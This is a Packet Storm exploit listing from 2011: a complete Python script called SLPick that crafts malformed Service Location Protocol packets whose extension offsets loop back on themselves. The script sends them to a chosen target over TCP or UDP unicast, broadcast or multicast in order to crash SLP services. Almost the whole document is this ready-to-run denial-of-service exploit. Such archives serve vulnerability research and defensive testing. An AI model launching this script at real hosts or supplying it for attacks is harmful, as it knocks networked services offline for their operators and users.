Lucene search

K
packetstormNicolas GregoirePACKETSTORM:103443
HistoryJul 26, 2011 - 12:00 a.m.

SLP (Service Location Protocol) Denial Of Service

2011-07-2600:00:00
Nicolas Gregoire
packetstormsecurity.com
35

EPSS

0.371

Percentile

97.2%

`#!/usr/bin/python  
  
''' ==================================  
Pseudo documentation   
================================== '''  
  
# SLPick, extension DoS release  
# by Nicolas Gregoire  
  
''' ==================================  
Imports   
================================== '''  
  
import getopt  
import re  
import sys  
import binascii  
import struct  
import socket  
import os  
  
  
''' ==================================  
Default values  
================================== '''  
  
version = '0.4'  
mode = 'unicast'  
source = 'N/A'  
target = 'N/A'  
xid = '\x12\x34'  
port = 427  
nb = 1  
req = 'sr'  
  
''' ==================================  
Standard functions  
================================== '''  
  
# Some nice formatting  
def zprint(str):  
print '[=] ' + str  
  
# Function displaying CLI arguments  
def showUsage():  
print 'Usage : ' + sys.argv[0] + ' [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]'  
print '\t[-h] Help (this text)'  
print '\t[-m] Mode : tcp / unicast / broadcast / multicast (default is "' + mode + '")'  
print '\t[-p] Port : default is "' + str(port) + '"'  
print '\t[-s] Source IP Adress : no default (used only in multicast mode)'  
print '\t[-t] Target IP Adress : no default (forced in multicast mode)'  
print '\t[-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)'  
print '\t[-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)'  
sys.exit(1)  
  
# Function parsing parameters  
def getArguments():  
try:  
optlist, list = getopt.getopt(sys.argv[1:], 'hm:p:t:s:n:r:')  
except getopt.GetoptError:  
showUsage()  
for opt in optlist:  
if opt[0] == '-h':  
showUsage()  
if opt[0] == '-p':  
global port  
port = opt[1]  
if opt[0] == '-s':  
global source  
source = opt[1]  
if opt[0] == '-t':  
global target  
target = opt[1]  
if opt[0] == '-m':  
global mode  
mode = opt[1]  
if opt[0] == '-n':  
global nb  
nb = int(opt[1])  
if opt[0] == '-r':  
global req  
req = opt[1]  
  
# Function checking parameters  
def checkArguments():  
if (mode == 'multicast'):  
# XID : must be 0 in multicast mode  
# Target IP : default SLP multicast address  
# Source IP : address of the local interface   
global xid  
xid = '\x00\x00'  
zprint('Forcing XID to "0"')  
global target  
target = '239.255.255.253'  
zprint('Forcing target IP to "' + target + '"')  
if (source != 'N/A') :  
zprint('Forcing source IP to "' + source + '"')  
else:  
zprint('You need to force the source address with "-s" !')  
showUsage()  
elif (mode == 'unicast') or (mode == 'broadcast') or (mode == 'multicast') or (mode == 'tcp'):  
# Target IP : must be defined  
if (target == 'N/A') :  
zprint('Invalid target !')  
showUsage()  
else :  
zprint('Invalid mode !')  
showUsage()  
  
''' ==================================  
SLP functions  
================================== '''  
  
# Define payload of type "Service Request"  
def getServRequest():  
  
zprint('Creating payload of type "Service Request"')  
  
# Function type  
f = '\x01'  
# Empty fields  
previous_list_length = '\x00\x00'  
predicate_length = '\x00\x00'  
scope_length = '\x00\x00'  
spi_length = '\x00\x00'  
# Variable-size fields  
service = 'service:directory-agent'  
service_length = struct.pack('!h', len(service))   
# Create message  
m = previous_list_length + service_length + service  
m += predicate_length + scope_length + spi_length  
  
return(f, m)  
  
# Define payload of type "Attribute Request"  
def getAttrRequest():  
  
zprint('Creating payload of type "Attribue Request"')  
  
# Function type  
f = '\x06'  
# Empty fields  
previous_list_length = '\x00\x00'  
tag_length = '\x00\x00'  
spi_length = '\x00\x00'  
# Variable-size fields  
url = 'http://www.agarri.fr/'  
url_length = struct.pack('!h', len(url))   
scope = 'default'  
scope_length = struct.pack('!h', len(scope))   
# Create message  
m = previous_list_length  
m += url_length + url + scope_length + scope  
m += tag_length + spi_length  
  
return(f, m)  
  
# Define the function creating the full SLP packet  
def createPacket(function, message):  
  
zprint('Adding headers and trailers')  
  
# SLP Version  
version = '\x02'  
# Set the 'Multicast required' flag to 1  
if (mode == 'broadcast' or mode == 'multicast'):  
flags = '\x20\x00'  
else:  
flags = '\x00\x00'  
  
#######################################################  
# Here's the bug !!!!  
#######################################################  
zprint('Using ' + str(nb) + ' extension(s)')  
if (nb == 0):  
# No extension == no bug  
next_ext_offset = '\x00\x00\x00'  
extension = ''  
elif (nb == 1):  
# Loop over itself  
next_ext_offset = '\x00\x00\x05'  
extension = ''  
elif (nb == 2) :  
# Point to another extension located at the end of the packet  
# TODO : Calculate it at runtime  
if (req == 'sr'):  
next_ext_offset = '\x00\x00\x31'  
else :  
next_ext_offset = '\x00\x00\x36'  
# OpenSLP : extid should be < 0x4000 or > 0x7FFF   
ext_id = '\xBA\xBE'  
# Loop over itself, 0x05 (back to previous extension) should work too   
ext_nextoffset = next_ext_offset  
# Could be anything  
ext_data = '\x22\x22'  
# Create the trailing extension  
extension = ext_id + ext_nextoffset + ext_data  
else:  
print 'Wrong number of extensions'  
sys.exit(1)  
  
# Variable-size headers  
lang = 'en'  
lang_length = struct.pack('!h', len(lang))   
  
# Assemble headers  
headers = flags + next_ext_offset + xid + lang_length + lang  
  
# Packet = version + function + overall size + headers + message + extension  
packet = version + function + '\x00'  
packet += struct.pack('!h', len(headers + message + extension) + 5)   
packet += headers + message + extension  
  
return packet  
  
''' ==================================  
Send packet via TCP or UDP  
================================== '''  
  
# Send via TCP  
def sendTcpPacket(packet):  
  
zprint('Sending packet via TCP [' + target + ']')  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(3)  
try:  
s.connect((target, port))  
except socket.error:  
zprint('Socket error (port closed ?)')  
sys.exit(1)  
s.send(packet)  
s.close  
  
# Send via unicast UDP  
def sendUnicastPacket(packet):  
  
zprint('Sending packet via Unicast UDP [' + target + ']')  
s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )  
s.sendto( packet, (target, port) )  
  
# Send via broadcast UDP  
def sendBroadcastPacket(packet):  
  
zprint('Sending packet via Broadcast UDP [' + target + ']')  
s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )  
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)  
s.sendto( packet, (target, port) )  
  
# Send via multicast UDP  
def sendMulticastPacket(packet):  
  
zprint('Sending packet via Multicast UDP [' + target + ']')  
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)  
sock.bind((source, 6666)) # Select an interface (and an evil port ;-)  
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)  
sock.sendto(packet, (target, port) );  
  
''' ==================================  
Main code  
================================== '''  
  
# Print banner  
zprint('SLPick : SLP client v' + version + ' (by Nicolas Gregoire)')  
  
# Set options  
getArguments()  
checkArguments()  
  
# Which payload ?  
if (req == 'ar'):  
func, payload = getAttrRequest()  
else :  
func, payload = getServRequest()  
  
# Add headers and trailers (including extensions)  
packet = createPacket(func, payload)  
  
# TCP  
if (mode == 'tcp'):  
sendTcpPacket(packet)  
# UDP  
elif (mode == 'unicast'):  
sendUnicastPacket(packet)  
elif (mode == 'broadcast'):  
sendBroadcastPacket(packet)  
elif (mode == 'multicast'):  
sendMulticastPacket(packet)  
  
# Exit  
zprint('Exit')  
  
  
`